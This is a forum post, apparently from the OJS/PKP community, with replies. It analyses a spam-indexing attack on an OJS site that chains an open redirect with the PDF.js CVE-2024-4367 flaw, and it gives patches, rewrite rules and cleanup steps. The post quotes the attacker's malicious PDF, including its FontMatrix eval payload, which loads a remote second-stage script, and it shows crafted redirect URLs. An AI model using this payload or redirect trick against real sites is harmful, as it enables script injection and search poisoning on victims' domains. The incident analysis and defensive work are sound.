OJS Spam Indexing Investigation: Open Redirect + PDF.js CVE-2024-4367

OJS Spam Indexing Investigation: Open Redirect + PDF.js CVE-2024-4367

A full write-up of an attack against an OJS 3.3.0.8 installation: how it was discovered, what the attack chain actually was, and how to fix it. Sharing this so other OJS publishers can recognize the symptoms and apply the patches before Google flags their site.

Note: URLs in this post use the placeholder https://ojs.example.org and dummy attacker domains. The vulnerabilities described affect OJS / PKP installations broadly, not any single site.


TL;DR

If your OJS 3.3.x site shows any of these symptoms, you are likely affected by the same attack:

  • Google Search Console reports “Unparsable structured data” errors on URLs under /plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
  • Google search results show pharma / supplement / “male enhancement” spam under your domain
  • Indexed URLs look like:
    https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source=.attacker.com/...
  • File system grep finds no malware on the server
  • Database search finds no spam content in the database

The attack is a two-stage exploit chain:

  1. Open redirect in LoginHandler::signOut() — naive string concatenation of getBaseUrl() . $source allows hostname-suffix takeover (source=.attacker.comhttps://yourdomain.com.attacker.com)
  2. CVE-2024-4367 in the bundled PDF.js viewer — a malicious PDF served by the attacker exploits a FontMatrix injection to execute JavaScript in your origin, rewriting the DOM with SEO-spam structured data that Googlebot then indexes

Fixing the open redirect breaks the chain. Patching or disabling PDF.js is defense in depth.


Symptoms in detail

The first sign was an email from Google Search Console:

We’re validating your Unparsable structured data issue fixes for site example.org
Specifically, we are checking for ‘Parsing error: Missing ‘}’ or object member name’, which currently affects 1 pages.

The flagged URL had this shape:

https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source%3D.attacker.shop/male/&id=2MHrup

Searching Google for site:example.org returned listings with titles like “Now Adam Multivitamin - Full Video & Guide” and snippets full of supplement marketing — none of which exists anywhere on the actual OJS site.

What the initial investigation ruled out

Before understanding the actual attack, the obvious things to check (and what was found):

1. Database compromise — ruled out.

SELECT * FROM submissions WHERE title LIKE '%attacker.shop%';
SELECT * FROM announcements WHERE title LIKE '%6mg.top%';
-- ... and all other content tables

No matches anywhere.

2. PHP file injection — ruled out.

find . -type f -name "*.php" -exec grep -l "attacker.shop" {} \;
find . -type f -exec grep -l "redirect_301\|loadpano" {} \;

No matches. No suspicious file modification times.

3. PDF.js viewer files tampered with — ruled out.

ls -la plugins/generic/pdfJsViewer/pdf.js/web/

All files dated to the original plugin install (Aug 2021). No recent modifications.

4. Direct redirect from PDF viewer — ruled out.

curl -I "https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html"
# HTTP/2 200

The viewer itself returned 200 OK — no redirect from there.

5. Access logs. Searching for the spam domain in Apache logs returned ~600 hits, all from Googlebot, all hitting /index.php/index/login/signOut?source=.attacker.shop/... with a 302 response.

The 302 was the breakthrough. The signOut endpoint was redirecting Googlebot somewhere — and the somewhere was attacker-controlled.

The open redirect

Test:

curl -I "https://ojs.example.org/index.php/index/login/signOut?source=https://google.com"

Response:

HTTP/2 302
location: https://ojs.example.orghttps://google.com

That Location header tells the whole story. The code is doing string concatenation: baseUrl + source, with no separator and no validation.

The vulnerable code lives in lib/pkp/pages/login/LoginHandler.inc.php:

function signOut($args, $request) {
    $this->setupTemplate($request);
    if (Validation::isLoggedIn()) {
        Validation::logout();
    }
    $source = $request->getUserVar('source');
    if (isset($source) && !empty($source)) {
        $request->redirectUrl(
            $request->getProtocol() . '://' . $request->getServerHost() . $source,
            false
        );
    } else {
        $request->redirect(null, $request->getRequestedPage());
    }
}

With source=https://google.com, you get the broken https://ojs.example.orghttps://google.com (which browsers reject). But the attacker doesn’t use https://. They use:

source=.attacker.shop/male/

Concatenated:

https://ojs.example.org + .attacker.shop/male/
= https://ojs.example.org.attacker.shop/male/

That is a valid hostname. The attacker owns attacker.shop and has set up a wildcard DNS record so any subdomain — including ojs.example.org.attacker.shop — resolves to their server. The leading dot is the entire trick.

From Googlebot’s perspective, it follows a 302 from your domain to a URL that visually contains your domain and gets served the attacker’s content. Indexed under your site.

The PDF.js half of the attack

Disabling the PDF.js plugin didn’t stop the spam URLs from working. That was puzzling at first — if the redirect was the attack, why does PDF.js matter?

The answer came from opening the spam URL https://attacker.shop/male/ directly in a browser. It served a file:

%PDF-1.4
%DUMMY
...
5 0 obj
<<
/Widths[573 0 582 0 548 0 ...]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\);
eval\(atob\('if(!window._godo){window._godo=1;let p=new URLSearchParams(location.search),i=p.get('id'),f=p.get('file'),h="default.com";if(f){let m=f.match(/source=([^&]+)/);if(m)h=m[1].replace(/^\./,'').split('/')[0]}let s=document.createElement('script');s.src='https://pdf.'+h+'/male/good.js?id='+i+'&h='+location.hostname;s.type='text/javascript';document.head.appendChild(s);}'\)\)
//)]
...

This is CVE-2024-4367 — disclosed in April 2024, affecting all PDF.js versions before 4.2.67. The FontMatrix field is supposed to be six numbers describing a font transformation. PDF.js was passing it into a JavaScript function via string concatenation without sanitization. By stuffing a PDF string (the (...) syntax) containing JavaScript into the sixth slot, an attacker can break out of the expression context and execute arbitrary JS in the origin of whatever page renders the PDF.

Decoded, the payload reads:

if (!window._godo) {
    window._godo = 1;
    let p = new URLSearchParams(location.search);
    let i = p.get('id');
    let f = p.get('file');
    let h = "default.com";
    if (f) {
        let m = f.match(/source=([^&]+)/);
        if (m) h = m[1].replace(/^\./, '').split('/')[0];
    }
    let s = document.createElement('script');
    s.src = 'https://pdf.' + h + '/male/good.js?id=' + i + '&h=' + location.hostname;
    s.type = 'text/javascript';
    document.head.appendChild(s);
}

It:

  1. Reads the file query parameter from PDF.js viewer URL
  2. Extracts the attacker’s domain from source=
  3. Loads a second-stage script (good.js) from https://pdf.attacker.shop/male/
  4. That second-stage script rewrites the DOM with SEO-spam JSON-LD (VideoObject, Product, FAQPage schemas)
  5. Googlebot renders the page, sees the spam structured data, indexes it under your domain

This is why the file system grep found nothing — there’s no malware on your server. The payload is fetched fresh from the attacker every crawl, executes client-side in your origin, and never touches disk.

The full attack chain

1. Attacker crafts URL on your domain:
   https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
     ?file=/index.php/index/login/signOut?source=.attacker.shop/male/
     &id=SPAMID

2. Googlebot fetches it. PDF.js viewer loads.

3. PDF.js requests its `file` parameter:
   GET /index.php/index/login/signOut?source=.attacker.shop/male/

4. OJS signOut handler does:
   redirectUrl(baseUrl + source)
   = redirectUrl("https://ojs.example.org" + ".attacker.shop/male/")
   = 302 → https://ojs.example.org.attacker.shop/male/
        (which resolves to attacker's server via wildcard DNS)

5. Attacker's server serves a malicious PDF.

6. PDF.js parses the PDF. CVE-2024-4367 fires when FontMatrix is processed:
   JavaScript executes in the origin of ojs.example.org.

7. Stage-2 script (good.js) is fetched and injects SEO-spam JSON-LD
   (VideoObject, Product, FAQPage) into the DOM.

8. Googlebot renders the page, sees the spam, indexes it under
   https://ojs.example.org/plugins/generic/pdfJsViewer/...

9. Google Search Console reports "Unparsable structured data" because
   the injected JSON-LD has parsing errors.

Both vulnerabilities are required. Closing either one breaks the chain.

The fix

1. Patch LoginHandler::signOut()

File: lib/pkp/pages/login/LoginHandler.inc.php

Replace the function with:

function signOut($args, $request) {
    $this->setupTemplate($request);
    if (Validation::isLoggedIn()) {
        Validation::logout();
    }
    $source = $request->getUserVar('source');
    // Only allow same-origin relative paths: must start with exactly one "/"
    // and the next character must not be "/" or "\" (blocks //evil.com,
    // /\evil.com, and hostname-suffix tricks like .evil.com).
    if (isset($source) && !empty($source) && preg_match('#^/[^/\\\\]#', $source)) {
        $request->redirectUrl(
            $request->getProtocol() . '://' . $request->getServerHost() . $source,
            false
        );
    } else {
        $request->redirect(null, $request->getRequestedPage());
    }
}

The regex ^/[^/\\\\] enforces three things:

  • Must begin with / → rejects .attacker.shop/male/ (the actual exploit)
  • Second character can’t be / → rejects //evil.com/ (protocol-relative URLs)
  • Second character can’t be \ → rejects /\evil.com/ (some parsers normalize \ to /)

Any non-conforming source falls through to the safe default redirect.

2. Patch LoginHandler::_redirectByURL()

Same file. The original function takes a redirectUrl parameter and passes it directly to redirectUrl() without validation — even worse than signOut, because there’s no concatenation, the attacker just sets the URL directly.

function _redirectByURL($request) {
    $requestVars = $request->getUserVars();
    if (isset($requestVars['redirectUrl']) && !empty($requestVars['redirectUrl'])
        && preg_match('#^/[^/\\\\]#', $requestVars['redirectUrl'])) {
        $request->redirectUrl($requestVars['redirectUrl']);
    } else {
        $this->sendHome($request);
    }
}

3. Tighten the Referer fallback in PKPUserHandler

File: lib/pkp/pages/user/PKPUserHandler.inc.php

The original setLocale handler had an open redirect via the Referer header — not exploitable for SEO spam (Googlebot’s Referer is its own crawler URL), but a real phishing vector. Replace the unsafe block:

// VULNERABLE
if (isset($_SERVER['HTTP_REFERER'])) {
    $request->redirectUrl($_SERVER['HTTP_REFERER']);
}

with:

if (isset($_SERVER['HTTP_REFERER'])) {
    $refererHost = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
    if ($refererHost === $request->getServerHost()) {
        $request->redirectUrl($_SERVER['HTTP_REFERER']);
    }
}
$request->redirect(null, 'index');

The source parameter in this same handler uses preg_match('#^/\w#', $source), which is already safe (the second character \w excludes /, \, and ., so the three attack payloads are all blocked). No change needed there.

4. Other files

RegistrationHandler.inc.php uses the same safe ^/\w pattern as PKPUserHandler and needs no change. The other getUserVar('source') references in LoginHandler.inc.php (around lines 56, 77, 107, 126, 144 in 3.3.0.8) are template-data pass-throughs, not redirects, and are safe.

5. Clear PHP opcode cache after editing

This is a common gotcha. PHP 7.4 with OPcache (default on most cPanel hosts) holds compiled .inc.php files in memory and ignores file changes until the workers restart. After saving your edits:

  • cPanel hosts: open MultiPHP Manager / Select PHP Version → switch PHP version to anything else, save, switch back. This restarts the PHP worker pool.
  • Or: touch lib/pkp/pages/login/LoginHandler.inc.php to bump the mtime (sometimes enough).
  • Or: drop a one-line file at web root containing <?php opcache_reset(); echo "ok";, hit it once in your browser, delete it.

If your curl tests show the same behavior as before the patch, it’s almost always OPcache.

6. Add a defense-in-depth .htaccess layer

Even with the PHP patch, you want already-indexed spam URLs to return 410 Gone so Google deindexes them fast. Add to .htaccess at the OJS root, above existing rewrite rules:

RewriteEngine On

# Block PDF.js viewer requests that reference signOut (used to construct spam URLs)
RewriteCond %{QUERY_STRING} (^|&)file=[^&]*signOut [NC]
RewriteRule ^plugins/generic/pdfJsViewer/ - [R=410,L]

# Defense in depth: 410 any signOut with a non-relative source value
RewriteCond %{QUERY_STRING} (^|&)source=[^/&] [NC,OR]
RewriteCond %{QUERY_STRING} (^|&)source=/[/\\] [NC]
RewriteRule ^index\.php/index/login/signOut$ - [R=410,L]

Use 410 Gone, not 403 Forbidden — 410 explicitly signals to Google “this URL is permanently gone” and accelerates deindexing significantly.

Legitimate PDF viewing isn’t affected because real article PDFs have file= pointing to a PDF path, not to signOut.

Verification

After patching, run these:

# Open redirect — should land on your own domain, not the attacker's
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=.attacker.shop/male/"
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=//evil.com/"
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=/\\evil.com/"

# _redirectByURL — should land on home page, not evil.com
curl -I "https://ojs.example.org/index.php/index/login/signOutAsUser?redirectUrl=https://evil.com/"
curl -I "https://ojs.example.org/index.php/index/login/signOutAsUser?redirectUrl=//evil.com/"

# Legitimate same-origin path — should redirect normally
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=/index/about"

# .htaccess — should return 410 Gone
curl -I "https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source=.attacker.shop/male/"

Expected results:

  • The three malicious source= values should redirect to https://ojs.example.org/index/login (or whatever your safe default is)
  • The two malicious redirectUrl= values should redirect to your homepage
  • The legitimate /index/about should redirect to https://ojs.example.org/index/about
  • The PDF.js viewer pattern should return HTTP/2 410

If any of these still show attacker hosts in the Location header, the patch isn’t applied — clear OPcache and retry.

Google Search Console cleanup

The PHP patch stops new spam URLs from being created. The already-indexed ones need a separate cleanup:

  1. Removals → Temporary removals: submit the prefix https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file= to suppress the spam URLs from search results within ~24 hours. This is a ~6-month suppression while permanent deindexing runs.

  2. Validate fix on the Unparsable structured data report. Now that the URL returns 410, Google will see “page gone → no schema to parse → fixed.”

  3. Monitor for 2-4 weeks. New spam URLs may continue appearing in GSC as Google works through its crawl queue. They’ll get 410’d. What matters is that no new indexable spam can be created.

  4. Report the attacker domains to Google Safe Browsing at https://safebrowsing.google.com/safebrowsing/report_phish/. This helps other affected sites — and there will be many. The attackers rotate domains (this campaign has used su7u.shop, 6mg.top, myshopify.cc — a deceptive lookalike of Shopify’s real myshopify.com — and almost certainly others).

Long-term recommendations

Update PDF.js or remove it. The bundled PDF.js in the pdfJsViewer plugin is from August 2021 — well before CVE-2024-4367 was patched. Options:

  • Check the PKP plugin gallery for a newer version of pdfJsViewer that ships PDF.js ≥ 4.2.67
  • Replace the bundled pdf.js and pdf.worker.js files manually with a newer build from mozilla/pdf.js releases
  • Disable the plugin and let browsers handle PDF viewing natively (modern Chrome / Firefox / Safari all have built-in PDF viewers)

Upgrade OJS. 3.3.0.8 is from 2022. The 3.3.x LTS branch is at 3.3.0-21 as of this writing, and 3.5.x is current stable. There are likely other patched issues in newer versions. Plan the upgrade even if it’s not urgent now that the active exploit chain is broken.

Audit for similar patterns. Any plugin or custom code that reads source, redirectUrl, or similar parameters and passes them into a redirect is potentially vulnerable. Grep:

grep -rn "getUserVar(['\"](source\|redirectUrl)['\"])" lib/ plugins/ classes/ pages/

Anywhere that result feeds into redirectUrl() with host concatenation needs the same guard.

Lessons for the OJS / PKP community

A few observations that might inform upstream fixes:

  1. getBaseUrl() . $userInput is a vulnerability pattern, not an idiom. Every instance should validate that the input is a same-origin relative path. The pattern appears in multiple places in lib/pkp/.

  2. The ^/\w regex used in PKPUserHandler and RegistrationHandler is correct; the absence of any check in signOut is the bug. Standardizing on the regex (or a helper function) across all redirect sites would prevent recurrence.

  3. CVE-2024-4367 affects every OJS / OMP / OPS install that ships the pdfJsViewer plugin without an updated PDF.js. This is a large fleet. Coordinated guidance from PKP on updating the bundled viewer would help.

  4. The attack is hard to detect from server-side artifacts alone. No files modified, no database changes, no PHP-level malware. The only signal is the 302 in access logs and the indexed URLs in Google Search Console. Worth flagging in OJS security guidance so admins know what to look for.

References


If you found this useful or have additions / corrections, please share back to the OJS community forum at https://forum.pkp.sfu.ca. Other admins are almost certainly facing the same attack right now and don’t yet know why.

Hi @masteroftrix,

See:

This issue is resolved with #11242, which was closed more than a year ago. OJS users can resolve the issue by simply keeping their installation up to date with the latest build (of any supported version – currently 3.3.0-x, 3.4.0-x, and 3.5.0-x), which is recommended good practice.

Regards,
Alec Smecher
Public Knowledge Project Team

Speaking on behalf of a different institution, it’s my understanding that we needed additional modifications to protect ourselves from this issue above and beyond what has been addressed in the latest version of 3.3.